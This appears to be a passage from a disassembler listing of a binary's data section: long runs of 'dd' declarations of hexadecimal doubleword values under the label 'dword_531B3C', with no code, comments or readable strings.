		dd 0C62A0995h, 0C80997A2h, 0C068FF02h, 0C2805900h, 0FA0BFA39h
		dd 902C74D0h, 827C4E43h, 45745C9Ch, 6E01022Ch, 0F0014957h
		dd 804AC31h, 0BE26882h,	506D365Dh, 4AF0635Ch, 1822BA44h
		dd 0ADA4C93Bh, 9F56EB2Eh, 0E99330A2h, 0E9069F9Ch, 28E18298h
		dd 2DEAA8C5h, 105A55F7h, 6986112h, 57F1A716h, 0DF58B82Eh
		dd 5D2F3510h, 0D5C3BDF6h, 6B231A23h, 540D50Eh, 4D9EE00Dh
		dd 57C219BFh, 0EA2FC37Bh, 0FDC2C012h, 0AC0E605Bh, 993F4C4Dh
		dd 5909932Dh, 50AE7955h, 85AA70E9h, 3F3C51DCh, 0FF10EB60h
		dd 0FA72E482h, 7717C11Bh, 614E3322h, 7F02053Ah,	0D493F3A7h
		dd 0A00AC1B1h, 7D8D2B4Dh, 0BC5DBDE4h, 84E95871h, 0F39FEDBAh
		dd 95E9C2FAh, 0B800ECF8h, 7B263D4Fh, 0C03CB35h,	0E8D16384h
		dd 0EEA2504h, 0DA80824Bh, 4D356EB1h, 0CA1FB128h, 333701C2h
		dd 720247E9h, 7FE20443h, 9AC03420h, 0A0DA2C24h,	0BF43CCB4h
		dd 0FA39E519h, 0CF349D4Ch, 0E0022110h, 0DDFECA41h, 0F4573B32h
		dd 0DED4430Ch, 0B682E09h, 6B44D933h, 0B309C645h, 0C0F2D4AFh
		dd 0F3895355h, 49F4D097h, 8A48A8A8h, 13A14A77h,	7BC2B34Eh
		dd 17DA0F35h, 7F2105BBh, 64CFEB02h, 5A676809h, 2889E3D1h
		dd 0BD97E403h, 5700FCDCh, 0FB609C68h, 6BEB9048h, 0C609DB18h
		dd 4E05E9C6h, 432DAD36h, 48A1B302h, 0E7DDE014h,	5D4D177Ah
		dd 0E1AB1771h, 4C612B88h, 5A02DD84h, 97FAB0DDh,	0D7F3CFC2h
		dd 0A82216DEh, 3DCA4B9Dh, 728AEB4Eh, 0A820C68h,	0C2E52856h
		dd 0F4FA406Fh, 336A3082h, 3BB6F455h, 827D957Eh,	0C0525EC2h
		dd 0BC4FC3BCh, 57889C17h, 78DBBF13h, 0AF47A813h, 4ECF96C8h
		dd 9312F80Ch, 2B774BBAh, 0AFC2A974h, 24F67950h,	1003181Bh
		dd 0F548895Eh, 0F94E3FE0h, 0A331FD95h, 0D5123A64h, 199CE6EBh
		dd 0F9EDDFE1h, 0BB5BFF68h, 6412C52Ah, 79D9F3DCh, 64CD572Fh
		dd 25A0986Ch, 6FFC3D71h, 0BC51DF7Ah, 6414D74Bh,	9C95EC76h
		dd 0E05B9740h, 0F5F8E80Ch, 4E1B1CE6h, 0BCD4AD47h, 0A35E5482h
		dd 60AA8B43h, 90E4B699h, 5EF372C5h, 6049B2D8h, 65116454h
		dd 54419575h, 0F57574D5h, 4BDFA21Eh, 34D88BE7h,	25D7AE5Ch
		dd 0BD90C7B2h, 58F4EF30h, 2B0A7E55h, 2768EF8Ch,	19B0377Fh
		dd 0F5184593h, 6F9C5B23h, 310EC446h, 0DE1083EBh, 56BD26E6h
		dd 0EFEF2828h, 0FE41C52Ah, 526A8A7Dh, 44C2FA97h, 8A62F0EEh
		dd 0D645F7BAh, 7014E942h, 28079934h, 0DB0D4C9Bh, 0C6E0BB92h
		dd 4273B659h, 0A07DC0C1h, 0BC4CD998h, 0C85E98AEh, 0A328CC1Ah
		dd 2779320h, 98117BB8h,	0E05D2142h, 8CDEDBDh, 8920A1DCh
		dd 6E97B389h, 0BA48194h, 1D052C66h, 0A435BF73h,	0D27CE27Bh
		dd 0E92EB509h, 0CF8F6h,	5F6E64BBh, 0B92BBF74h, 0DEA96C2Fh
		dd 0C8D72594h, 3B6B97F8h, 0B84C779Bh, 28933109h, 482D425Ch
		dd 265E1643h, 0CE52574Ch, 0B1DE9E2h, 4393B2D6h,	0C70277E9h
		dd 3C5E2E67h, 2F20BB52h, 8AD99FE3h, 0B7CE262h, 2192465Dh
		dd 0E14246C9h, 0CADB0B52h, 0F2BA5CC4h, 0BE09F57h, 2CD71FFCh
		dd 2D034216h, 3A1C8FAh,	0E422F268h, 0F6D34064h,	0C180D105h
		dd 0CEF2831h, 0EBED45D3h, 254E0FEEh, 0FA2B5AF1h, 7ADAEF44h
		dd 7CB0A7FBh, 9D1D534Bh, 47BFA649h, 0F2CC3C56h,	9F712A02h
		dd 0DFE25B08h, 0D9C2070Bh, 0E809CBF8h, 55164E14h, 5DA8CC89h
		dd 4BD5220Ah, 772CBA51h, 0C00A4BE9h, 1248B936h,	0D1623309h
		dd 621E3E1h, 0B63D05Ch,	0B809E266h, 1BD923h, 0FA121D10h
		dd 0DBF72D1Eh, 6EE0D0B1h, 8EAEB812h, 0B9E35EE5h, 6722EA92h
		dd 0E2F9D55Eh, 2F088288h, 866DB87Fh, 4C209540h,	0D7873F7h
		dd 84448h, 14286AB9h, 0D841CF87h, 0EF7A1606h, 17B662Fh
		dd 0CDEAE953h, 0E56EDF49h, 0BB6BF09h, 5A0BCF36h, 0E9088029h
		dd 874595DEh, 0E29E953Dh, 3CC600E1h, 0F744797Ah, 5888FADEh
		dd 0BAC08131h, 6B1E20DAh, 3B9ADA0h, 0EA75AD25h,	8DE3F55Ah
		dd 282C419Fh, 0AAB02E2Eh, 66324078h, 88395A79h,	159C59F1h
		dd 804630FDh, 840FE2D1h, 9329E4Fh, 0EFF098E9h, 4BF5B4Bh
		dd 0BF7D01FEh, 25949E74h, 0A2B468BCh, 0D45310AAh, 1D27AB5Fh
		dd 7F5EE5B2h, 7040F512h, 71B5CE99h, 4AD7C92Fh, 907EF977h
		dd 0CFC53CDDh, 16E1B4B8h, 2E78A4BEh, 77E4EC09h,	6B0022C4h
		dd 0B9101B3Bh, 48DDD443h, 0FB4A7207h, 0F9014F80h, 0E7A434E9h
		dd 41F3AF40h, 755A247Ch, 0AED34E26h, 0A251FE3Ch, 4DE5DD6h
		dd 61D9890Bh, 8000D6CDh, 0F8F09FECh, 74A4135Fh,	0D0CC5EF6h
		dd 0B85C8082h, 320C2160h, 98715816h, 614F2098h,	168EF3B7h
		dd 0FEE05643h, 0CAE98E42h, 12AC64B2h, 0FBFEF120h, 1AF1D1DDh
		dd 0FF73DDC2h, 0DD72E2E9h, 0E9859DE7h, 8CFB2CF1h, 2F04AAA1h
		dd 5C010331h, 80C1064h,	4CC4AB4Bh, 832B9409h, 48295C20h
		dd 97405A34h, 0D4C741A4h, 0AAB21C9Fh, 70E26827h, 0E5179548h
		dd 3F2F06A8h, 6BD4F92Eh, 0CC0290FEh, 573B5140h,	0E51F10F8h
		dd 7402296Ch, 89D7EFE9h, 0C4ECFE9Fh, 6A8CA147h,	0ABC468E2h
		dd 0E78A4469h, 0E6F05E0Bh, 0C90609B5h, 0BC69888h, 269B5502h
		dd 2A6496FCh, 125B79E0h, 104D828h, 0B65274ABh, 0B7B06A90h
		dd 9DCF74E9h, 11C19E93h, 91C83AD6h, 59E27AB6h, 500F977h
		dd 6F0125D3h, 0FBB7D029h, 0B1A2E4C7h, 2B6C7BE0h, 608425E9h
		dd 0E1EEBBFFh, 0D07E109Bh, 940E15D8h, 74C54A4Fh, 7B792BBh
		dd 77CEFA80h, 0E59044B4h, 0FF7B79A0h, 9F9F67ABh, 0B66AD517h
		dd 0FBE731C0h, 0F42E9768h, 5CB51CC2h, 7957FA16h, 5206688Ah
		dd 0A17E4777h, 373608DEh, 50806805h, 0E600BD8Dh, 16E0548h
		dd 0EBD15B5Dh, 2B448A0Fh, 71FA4E16h, 0B0773BCh,	0FF281F58h
		dd 88D200E4h, 0C98149EEh, 0CD4B5423h, 1741B001h, 0F1F0425Fh
		dd 70042651h, 30EF26B4h, 7E5C04Eh, 89F58007h, 0C9D2EA20h
		dd 0C7D5AEF6h, 5D091FB6h, 0C70C2DF3h, 0EC5422D0h, 0FECB2742h
		dd 57D83CF4h, 0C35D4968h, 25F5E91Ch, 390907Fh, 0EC40D3D0h
		dd 9CAFB515h, 452FE940h, 3D1864B7h, 0AD17FE30h,	2A0520E2h
		dd 558401Eh, 60890AAh, 97D685Fh, 481A2085h, 2821BF80h
		dd 5AD31358h, 88808D17h, 2D99E7EFh, 59019DC8h, 7F7C6752h
		dd 8413CFCh, 0D7D05E3Fh, 48DDBFDDh, 0CDBC7620h,	4513B8DCh
		dd 6114B5ADh, 0F46360A0h, 2DEDB880h, 1506F97Dh,	0EA0FD133h
		dd 3E4B0E3Ch, 5DFCDCCBh, 6A5AFA9Bh, 0BF903CABh,	9712B40Bh
		dd 331FE23h, 0DC68ED4Fh, 0C0EE364Bh, 94B8E979h,	1BE854D2h
		dd 0F2F0D512h, 0B951006Ah, 18815EA2h, 0BA661BDh, 2E1FC6E9h
		dd 64492B31h, 461B417Bh, 705BEA30h, 91DE0B00h, 0D508C3C3h
		dd 0DB162667h, 87F4A772h, 15CFBF00h, 98F789A4h,	0DCE7807Bh
		dd 0A62FE9CDh, 23C14F49h, 66019787h, 60FCC15Bh,	0D391BF8Bh
		dd 0B5516660h, 0D5F60179h, 8E0FC5FEh, 56126E62h, 0D29EA4BFh
		dd 8A4E7465h, 0FFC28B09h, 44401162h, 0EA281856h, 660BC148h
		dd 0F63B6563h, 1308A012h, 0BA2D90E9h, 0FC4A77DEh, 40358137h
		dd 0AD6E5786h, 9AD62E08h, 0B724C42Dh, 0FD2531DCh, 464B06E5h
		dd 4BDB98B1h, 5C000958h, 53283DC6h, 1924CB51h, 0BB082DF8h
		dd 5D660B1Bh, 550C4ED4h
dword_531B3C	dd 3EEF0A41h, 50F5464h,	29C778B9h, 0E2DC6F8h, 0C504BE80h
		dd 76B0ACC1h, 0A1415524h, 0B33BAD25h, 0D9CD11DBh, 68D52887h
		dd 0E9DEB502h, 0B0E578D8h, 8AB2133Bh, 0DC28ABC0h, 0D402AE9h
		dd 53C0B571h, 1EFAC631h, 3CF5105Ah, 30D6C1F7h, 10FCB92Fh
		dd 21167E90h, 5B33E6C8h, 88A6A7C1h, 7855BA02h, 9E86A034h
		dd 75343B7Dh, 177284CAh, 5F5DCA08h, 70470A0Eh, 0A4980C65h
		dd 1603F605h, 0F7B4239h, 5F68DA8Fh, 0E90B2573h,	8302AEB9h
		dd 94D222A8h, 6AEE7682h, 1D155A4h, 3992529Fh, 0B26B61F1h
		dd 0F2EDF425h, 359A0B2Dh, 0EB1D8528h, 6214E57Fh, 845185EFh
		dd 0FD92C9A9h, 8406E7BBh, 6CED4917h, 6570B204h,	0EAFFC238h
		dd 6A7CBB00h, 30647A39h, 0C62BD5EBh, 0A82532F1h, 8238521Eh
		dd 4A27D08h, 771A28E1h,	19498959h, 852E1DBFh, 0D29DFA54h
		dd 0B82E70C9h, 1BA7BDF1h, 0AD77A25Dh, 9B5485Ah,	148BFD5Fh
		dd 6E0B7F8h, 0F17987DEh, 0CACA083Ch, 5F64CEAFh,	5DD063BBh
		dd 9F4BA04h, 0ADC8731Fh, 3B3E4519h, 938DACE7h, 0A7BD7FE9h
		dd 0DCF8E010h, 9FEEC08h, 14C47561h, 24E1882Ch, 671BF100h
		dd 25E94D04h, 815E5221h, 0CD9075E9h, 15027E05h,	0D0293FBBh
		dd 5A07842Dh, 0F883B1B9h, 0C0F44A42h, 4D2A61A0h, 30C1463Bh
		dd 0D1081206h, 1952723h, 6140B6EAh, 59B7297Ch, 8BF944BDh
		dd 5CE91534h, 3DFB4FC2h, 821639B7h, 79FEFB4Ch, 7734998Fh
		dd 0E12C2A0Ah, 0CCAC8014h, 68419994h, 5FC20919h, 0B150C2F6h
		dd 0FFF2977Fh, 886CE822h, 0C9FCBECFh, 0F17F4463h, 970820A1h
		dd 0E9B182FDh, 2721543Eh, 5D25EAF6h, 107D2F3Ah,	9F70B6D2h
		dd 6B8FED59h, 0AF158F5Ch, 0D79DF35Ah, 5686C27Ah, 504001C1h
		dd 30810F84h, 3ED85D4Dh, 36392C3h, 958B52C8h, 956D3771h
		dd 4904FF2Ah, 63FFE83Ch, 1FE4C6D3h, 64B7858Bh, 5F78A429h
		dd 4D4E853h, 4ED23D5Fh,	2827C9AEh, 5F855EB5h, 0B6BF0094h
		dd 7012EE8h, 5EA0E962h,	0BB2D12EDh, 0BB4B918Fh,	5AE966D8h
		dd 0BB5D8430h, 0CC9C4304h, 3EA9371h, 7553EA8Ah,	4E0E77DEh
		dd 0BFD7100Ch, 0C389DF39h, 2E404BE9h, 381EDCB8h, 983D0BDBh
		dd 5017923Dh, 612F2E79h, 0CA0E13B8h, 203D2DF3h,	6E8BF3F6h
		dd 2B2C7B2Dh, 2D1638B4h, 0D889DE9Ah, 1E12375h, 0D7128AE9h
		dd 47F55109h, 0E8853D9Dh, 0C2C8310Ah, 5AC9D846h, 27A33E52h
		dd 0D327CED0h, 0F5594087h, 6232B4CBh, 4A33A440h, 6859DC2Ch
		dd 464C3425h, 18284E0Ah, 5F14BE56h, 6854EA05h, 13202127h
		dd 94FFBCE1h, 0E2688446h, 51DDB372h, 13EB2E4Dh,	5788E48Dh
		dd 2085545Ch, 0E3C12835h, 0EE2B2FFAh, 7488D559h, 0B28025F2h
		dd 253EB81h, 0C9FD6CE2h, 0FE76410Ah, 0A9ECCACEh, 4B97F6BDh
		dd 5B618A02h, 638764DEh, 0DF39B313h, 0F425867Bh, 545A02D4h
		dd 7E41C2E0h, 606FE1DEh, 2A4FC87Ch, 0B05793C8h,	0D45F416Fh
		dd 94950233h, 0B71B9A66h, 6C0317Eh, 0B06AF969h,	0F7A05FBAh
		dd 0B0B64FEDh, 0E809FD13h, 36CCC108h, 0C27C0B8Ah, 0A4E631A2h
		dd 0F777E913h, 0F30BB88Ch, 0CB76800h, 58295405h, 4083E0C1h
		dd 36E1D589h, 496CAE3Ah, 59C82729h, 4055925Fh, 0B7B8F051h
		dd 2D4FCCD1h, 0CEBF172Eh, 312C438Bh, 72010D6h, 290F1897h
		dd 0E957C6E8h, 21DEBDC3h, 0F47CB009h, 10F173BDh, 5FED3A69h
		dd 2519B94Fh, 65B65801h, 0BBEA39A7h, 32BDAA1h, 61C41573h
		dd 7909EE06h, 7F180C95h, 978F70ECh, 0AAC73568h,	7EE3600h
		dd 1AF1B850h, 110A482Ch, 3250C50h, 0C13F6921h, 640407EAh
		dd 0B11A5914h, 0CCA21FBBh, 844658C7h, 0D867903Eh, 78E9C28Fh
		dd 813774CDh, 457DEF81h, 2C23C08h, 10C43266h, 0B559FA5Eh
		dd 1E459FF4h, 0A2BB33D4h, 56D39F21h, 5AED6757h,	0EB83D1A7h
		dd 580855FFh, 0D6C332BDh, 0EB0A3561h, 53F92EF9h, 2CE2A2F2h
		dd 7E6C617Fh, 20F4EF05h, 97074A40h, 680468FCh, 0FF8C4194h
		dd 305C0BB7h, 825F5BFAh, 7D8FEAAAh, 0F8207F70h,	0A682BFB4h
		dd 0B20F08B1h, 0FD59EB2h, 14D0E12Fh, 4B8BE5BFh,	47EB997Fh
		dd 875F8D28h, 0A2A4041Dh, 1C6817E4h, 37FC70AEh,	49484D7Eh
		dd 0CAFD178Fh, 8C84CBFCh, 8944B812h, 2D2D7456h,	5B72AFAh
		dd 7790C69Ah, 2D3D46BFh, 0CFDE233Eh, 81F5A43Fh,	3D930B20h
		dd 5D9542Dh, 0EC7B4D68h, 561CC102h, 0AC2B32FBh,	0FBC0B4C3h
		dd 27784D10h, 7DE28EE9h, 6B8F597Dh, 20611CD5h, 0F1FE48Dh
		dd 55A5488Ah, 0F9F9B8BBh, 0A5AE6CFEh, 0F85762BEh, 552549E1h
		dd 7CC0FBE6h, 7D4623E1h, 8D24250Ch, 0C5A4B1C5h,	0DD390202h
		dd 87E0401Ch, 135E0B27h, 0B7D6DEF7h, 6B3CF601h,	462C5934h
		dd 62F68A69h, 20CB563h,	4F78CBB5h, 82DF69F6h, 77AA31CAh
		dd 4EB62560h, 5D435525h, 58059AC5h, 28BFFEE1h, 64018E4h
		dd 4A893AE9h, 0E823FADFh, 5F4386BAh, 0F49CEC52h, 5BD9EA21h
		dd 0BA13102Dh, 0DDBDAC10h, 55076807h, 40E5100Eh, 8A267F00h
		dd 0F7025D0Ch, 0BDDEE9DDh, 0B01AC4FEh, 0C482B26Fh, 0FB86ADAFh
		dd 8F1371B7h, 0FA374B72h, 0B32B34DDh, 0D7E9423Dh, 7E557A4Ah
		dd 232104DCh, 616EE36h,	0ED8250A8h, 9F8F2737h, 0D9A09B81h
		dd 0E4128F0h, 1711DB68h, 82D19DEBh, 685E2F50h, 8A026B77h
		dd 0AD89DEF8h, 18FFFFEh, 0D8F4A9D9h, 0CE8000F8h, 0B05066D1h
		dd 0F0BD2832h, 0EED027CAh, 8079FA50h, 81E1F54Eh, 6004F8C0h
		dd 0E95BF701h, 60C9B2D9h, 7AF3DF5Dh, 0C902C5A5h, 127D15EAh
		dd 0CE58408Dh, 4D91176Fh, 5AD5E905h, 0E90128EBh, 680A2725h
		dd 2473C75Ch, 8A67DDh, 465BE50Eh, 0C64A83E9h, 28B80FCCh
		dd 1B2F002h, 2C2F1EEEh,	60D6297Bh, 39393C60h, 0A6E90BA4h
		dd 49A17905h, 0D6BD5378h, 0DA577A6Dh, 103C243Eh, 231B41ECh
		dd 0E781E0D4h, 44268E09h, 3F98001h, 0C57D6BE9h,	0AE425D68h
		dd 0E56CAA8Dh, 484A24h,	0D8EF269Ch, 0F45EEE9h, 80DE5FEEh
		dd 13AE5913h, 9397B272h, 0F00054ADh, 813D8247h,	0DD3F4F2h
		dd 0FE9AB43h, 12537E27h, 0FF957FEh, 8AD7D310h, 22A058F1h
		dd 10FEB76Fh, 750EA9C2h, 14FE0218h, 1387D9D0h, 0CDFB52F5h
		dd 0BC5FE873h, 388E7AF5h, 4B065311h, 0D55F5544h, 6644C140h
		dd 0F0ED53D1h, 0BF2865DFh, 0F4B78982h, 0D5923D12h, 0C1B9AC25h
		dd 7DB46A74h, 9782A7F4h, 1182EA46h, 0C821BB10h,	2E134C9Fh
		dd 6BFE9930h, 0C287ACDEh, 0EF1B6C5h, 14716853h,	0C4DF8C2Bh
		dd 615C7998h, 575827EFh, 0D01C912h, 0EA3B685Ah,	0BFDC634Bh
		dd 0A5208A8Bh, 9E0E0090h, 0C06A2363h, 0A2660CE3h, 312D905Bh
		dd 0F71A7125h, 4FB474DFh, 0BB0416B0h, 31B3ABA2h, 0BC5F3A0h
		dd 3F435A5Ch, 83FA8FDh,	9A115A26h, 1258277Ch, 88038A2Fh
		dd 1002BB0Dh, 5F7BB151h, 0D7545F59h, 25657A04h,	64F127EAh
		dd 92EE13EBh, 0D01A19B3h, 0F16AF56Ah, 18EC3A19h, 0DFDCBAD2h
		dd 4D2667E9h, 57A265ACh, 1256B8E6h, 2537BDA4h, 34CBF160h
		dd 0EE310035h, 0F83055Dh, 292F4DCDh, 1FEFE0F0h,	0AF3E4B79h
		dd 0F7048142h, 27840D2h, 34952E53h, 0CB092583h,	7A840275h
		dd 0FB6801ECh, 3CD1516Eh, 0E2BA0001h, 50B20B0Fh, 4F32D609h
		dd 1D00DD5Eh, 850F5CCAh, 0FFED27ACh, 0C6095465h, 7DB509C2h
		dd 81498D7Bh, 0F458CAE5h, 0CCE7830h, 0A6207EFh,	6009F4Ch
		dd 0F201ED0Ch, 9BD555Eh, 117346B4h, 5C550B5Fh, 9E0C6C8Ah
		dd 218B5112h, 0E8179FEDh, 8FDBB839h, 3EBF888Fh,	0AF743F96h
		dd 2EE99778h, 0C98B06C2h
		dd 515EFDD2h, 5EE2E719h, 0AC2E3A25h, 0E30C63F2h, 4436FA4Ch
		dd 82088240h, 0A6FF575h, 0B853172Eh, 0C07216B9h, 0D7629259h
		dd 819EC43Ah, 10C38559h, 3059E6EDh, 0C5F65574h,	89257C0Fh
		dd 0B9EC7FA2h, 0F354EA80h, 2DC865C4h, 482AE8BAh, 18D2B73Eh
		dd 117E0909h, 38558208h, 413E23Fh, 9337EB76h, 59AC1997h
		dd 81999D6h, 331B1770h,	0EA11C35Eh, 0CBECD6FEh,	0E0F322D7h
		dd 0B07F0B68h, 0A8C2C4F2h, 0B5A1BDCAh, 8725FC66h, 25A5F220h
		dd 76426F0h, 0D4A3F597h, 7005AD30h, 631242BAh, 2CC2C700h
		dd 98581B6Bh, 0E3677FA6h, 179FE63Dh, 0FE7E57DBh, 5C4BCE04h
		dd 184ECBBFh, 0EF192542h, 0C3011049h, 2DCC101Dh, 6E0E4F33h
		dd 0AD25C3C6h, 4F79663Bh, 0B8368088h, 0E748D5BDh, 16C23ED6h
		dd 1952A962h, 3002DDAEh, 7341BF22h, 9F6AA96Ah, 6BBC7256h
		dd 0F17E58F2h, 81984CC7h, 0CA127FEBh, 0F477616Ah, 839A9BF2h
		dd 0B0988817h, 33A41987h, 7689318h, 87BC5B5Dh, 52CE44CAh
		dd 0BB3A3F03h, 2B896A0h, 260670FDh, 9488EF01h, 0E95D0408h
		dd 39A171h, 0AB0801CAh,	270C1860h, 59C69FF9h, 2210CD29h
		dd 0FD5D2FBAh, 68E19793h, 57972DEh, 472C0A70h, 157B0680h
		dd 86E6C40Eh, 263814E4h, 3B1685F6h, 987BE700h, 2DE985B5h
		dd 61F9D0D8h, 6D042A4Ah, 2DEBFEBBh, 0EC82BF3h, 0E61324A8h
		dd 0C8E70CABh, 96955A2Eh, 14A10BC2h, 43223991h,	147043E9h
		dd 0A11C7F97h, 4F75F6F8h, 0D15DA80Bh, 51705E6h,	0C348E100h
		dd 0F201349Fh, 143A25E9h, 394B9A46h, 0E7D14081h, 413CBD30h
		dd 7EFCF5A2h, 0CAFFA684h, 5B5719C4h, 5007A20h, 23501CEAh
		dd 0AACBC8D9h, 0E3B17E64h, 7EB8B951h, 9E980B75h, 1D6415Fh
		dd 0A4541206h, 4313EF07h, 55B018A8h, 869565E9h,	28A57C3h
		dd 4AE72260h, 0F0D7E883h, 8D350F7Bh, 8172B9Ch, 6601BAF6h
		dd 0F1B05058h, 0DA71B361h, 0C039FA2Ah, 0BFA4E820h, 0C5D56E62h
		dd 0E6CF895Ch, 0F65250CAh, 4077AC9h, 29F8188Eh,	3A1337D5h
		dd 0C2D3B9ECh, 591BD468h, 6EFA82ABh, 704108CFh,	6513D7DCh
		dd 67C5D286h, 52FFF4BAh, 25F78948h, 0B7B7C060h,	0E4EAB8DEh
		dd 518879DCh, 6840A129h, 4BF20E8Eh, 0DABF430h, 0CA3041Dh
		dd 1194E781h, 0C0711F5Bh, 9C441F6Eh, 668A815Ah,	6B543568h
		dd 1D8151D4h, 0A5721216h, 0E11EF06h, 340B0C76h,	0FF73D92Ch
		dd 340827A8h, 2D145F0Ch, 9F0C91ACh, 4E264A13h, 0BD9464AFh
		dd 780B586h, 5B2068C8h,	0BEF2316Fh, 12B84B69h, 88BA95DAh
		dd 6740C995h, 0A35CD368h, 8092167Bh, 22F44B9h, 5F259E4Dh
		dd 232FFFC4h, 193F20AAh, 0F6673B73h, 43C29F91h,	72295477h
		dd 16D75D84h, 46245ABCh, 937C0240h, 0F9CA50CCh,	4464D900h
		dd 0D7A019F1h, 0C80B4EEBh, 0C0AEE94Bh, 3A77BD14h, 257A04F4h
		dd 9D72037Eh, 97B7C720h, 30403973h, 5C0AE9E6h, 0FD9413C9h
		dd 0B478B689h, 18DC48C6h, 0B8492AAFh, 40772E9Ah, 805164B0h
		dd 5C521F8Ah, 52085B8h,	0DB72B594h, 4BCD95Ch, 1CCD083Fh
		dd 0C1F0E0FAh, 0B8674D0Eh, 3C43DE7Bh, 0A78F30Dh, 0F441100Ch
		dd 29EF0196h, 0D044AB58h, 0E327E9CFh, 911E80Fh,	0AAAE243Bh
		dd 95D90313h, 565B6D1Dh, 168512EBh, 8C91FB20h, 95962767h
		dd 402CABFAh, 73BB3EEFh, 0D7017909h, 9B7C6F02h,	0E0CAFE02h
		dd 0F1E5E71Eh, 55192C7Bh, 0F589580Bh, 0BA6CFF5Eh, 97A2669Dh
		dd 15AB41Eh, 0B69396F9h, 0F2662733h, 0BFD14A56h, 0B92B6E39h
		dd 0F4F8D627h, 0E44EAA5h, 3984C3B2h, 9F22A2EFh,	0E48732FFh
		dd 3120DF58h, 2D4F41B5h, 84E3C12Dh, 17FA7FA5h, 81CCABDBh
		dd 58B56BC1h, 0D68107DFh, 7B420327h, 0E6A68766h, 4E2CFC9Bh
		dd 879C2112h, 0D3253BA8h, 169A8FEFh, 0D95A7E9h,	0D01024E8h
		dd 0E08916AEh, 8FEE9804h, 28714D91h, 0E64CE723h, 1E604624h
		dd 21D7532Dh, 450B407h,	0B095A8AEh, 250D4B05h, 6B0863B9h
		dd 0E9590207h, 246AFDF1h, 0FB06638Fh, 0DD4FF9F3h, 28BBF602h
		dd 724461C5h, 68648C3Ah, 665B7325h, 0A4B74FE2h,	410CF59Bh
		dd 0C09530Fh, 503E0473h, 0F18DE925h, 0B5EC3FC3h, 417A7E9h
		dd 0C8818875h, 0C100E531h, 7CB605E7h, 50EC873Ah, 0CF601F12h
		dd 4CA43415h, 0FC38311Bh, 0E98ED4B9h, 0AF121603h, 95D2A0B2h
		dd 1D8F21DCh, 0E90B0AB3h, 64ABF772h, 5E7C12CAh,	295722BDh
		dd 8AF63A72h, 17228BAh,	0F05F8AC2h, 0BCEAD860h,	29092102h
		dd 5DB330E9h, 655234Ch,	0B1A360CBh, 3284581Eh, 1AFCEFD6h
		dd 3CD020A1h, 565AC444h, 0D6419CC4h, 0EF80C8B7h, 0EA40D2E3h
		dd 6EB64114h, 0BAC4853Bh, 5E0C66A7h, 48D2DEF7h,	21BB5D4Eh
		dd 6AB205B8h, 70A94156h, 2A99F14Ah, 57D749AFh, 0AAFDAC42h
		dd 131629E1h, 0F55C1B49h, 0A65F6F50h, 0D490D90h, 21130B98h
		dd 0D6FC59CDh, 84091928h, 7C9A088Eh, 1EDF2565h,	1F4CBFB6h
		dd 2CDE720h, 56386203h,	2C436855h, 815D15E1h, 487B3B58h
		dd 81704D7Dh, 8BF669BDh, 0C437A57h, 57B7C880h, 0D6604BBAh
		dd 5485CD21h, 0F22B48F4h, 0BD1D275h, 31550504h,	102890Ch
		dd 0CA3F0BDEh, 0F62A7AF1h, 421A8B32h, 59017558h, 3805184Ah
		dd 0A62D0162h, 482F622Bh, 0FC5E54E8h, 170D7635h, 52257245h
		dd 252CEAC8h, 313587Eh,	0D536C482h, 0FBBBBE43h,	0C8EECF4Ah
		dd 0D9B238FEh, 341F6817h, 4712CBA3h, 1F646056h,	2C3CDF4Ah
		dd 3081D5E9h, 7C12F349h, 69005267h, 20A97F96h, 7F58B701h
		dd 3F590881h, 51120DF2h, 0CF6B1F56h, 0E137F17Bh, 0C0B8302Ch
		dd 8ED67924h, 8776EE0Eh, 89F9FBEFh, 53FBD54Bh, 50F9C230h
		dd 0E97A127Ch, 4A8FBC52h, 241598AFh, 0C117AEB2h, 215308E9h
		dd 9849A2F0h, 2F6A417Ch, 5E390CABh, 0D7E4055Dh,	88CEE4E2h
		dd 46120FF9h, 81A4C629h, 0B33F5808h, 0F7048984h, 7E3516CCh
		dd 0C9B174A5h, 0C350A6E1h, 0A62ED568h, 22FB90B0h, 1C279D82h
		dd 0A0201867h, 5BB12530h, 0C6242CF6h, 0DF25101Ch, 6128736Fh
		dd 9DB8F440h, 8108CB74h, 61620144h, 0BE2940E0h,	0C6C2911h
		dd 7D13581Ah, 7EB5265Ah, 0C9E9067Bh, 0B424A950h, 0EBCE3D7Fh
		dd 7C272611h, 0C45F5E2Ch, 8DB8BB9Bh, 0AA206812h, 0F95A40A3h
		dd 0FEE90914h, 0F634DD0Ch, 75EDB80Eh, 0D0F7206Ah, 0A2D8F0Dh
		dd 0D7E91AB9h, 0E68989E5h, 30887374h, 3CDC27EDh, 0ACE3A42h
		dd 0BAC812F6h, 4EDADAB0h, 7633BF1Ch, 0B6EFFD31h, 0AF989FB6h
		dd 4AD53048h, 132FBD5Ah, 36D3C8C5h, 370A4C07h, 99641F25h
		dd 0F161B1F0h, 563A3510h, 52CC11F9h, 61570B68h,	48F1CB8h
		dd 14BE30Bh, 0E0D9BCD0h, 5B4E58ECh, 0DA90FBF1h,	0CA810F24h
		dd 61A9C5DBh, 2E280EBh,	29168BABh, 41AB5AD6h, 619CC295h
		dd 30A42103h, 0A997CEEEh, 5E460BEAh, 405F97E3h,	0A456F38Fh
		dd 0C1A3AB3Fh, 38FF23F9h, 79E902ACh, 0E0455EB4h, 256F71CBh
		dd 2B5D27FDh, 70397ECEh, 0A0846855h, 0C0B61A5Bh, 3419F5BDh
		dd 0F165893h, 39E43082h, 61E341A3h, 57BF2FF8h, 0EF95A0ABh
		dd 0E26D446Ch, 6EE63F81h, 0F620601h, 7DF31080h,	301B3F0h
		dd 9EC1BB36h, 0F3C0EFC4h, 14921EE9h, 58042F93h,	486C131h
		dd 9137A008h, 48592D68h, 2DCEC198h, 0AFA0014Fh,	0C51B017Dh
		dd 9E8D0F48h, 62E93A5Eh, 1E01ADD6h, 0FBA49068h,	57387F6Bh
		dd 0C0BABFE9h, 77A5E48h, 6318158Bh, 55CB0CC2h, 5250E24Ch
		dd 77824E98h, 4272E8DEh, 2F9F7438h, 0F2BE2850h,	0C761A340h
		dd 3B55B04Dh, 1A69B5E9h
		dd 87C241DFh, 0F22F50E9h, 2D4F48D9h, 65A889E3h,	3F481AD2h
		dd 590AD455h, 0F167205Eh, 27DA1C13h, 0A0556EDh,	0F1D825E3h
		dd 7EA43E7Ah, 0B86E40FDh, 4519F70Dh, 0C5F421DFh, 42FE5FC3h
		dd 27418F39h, 0BFC07D0Bh, 10DD0794h, 94EBF04Bh,	8B315A93h
		dd 2BE90BC5h, 9DAE493h,	0BA54A005h, 0D3C9C50Eh,	9251EF9h
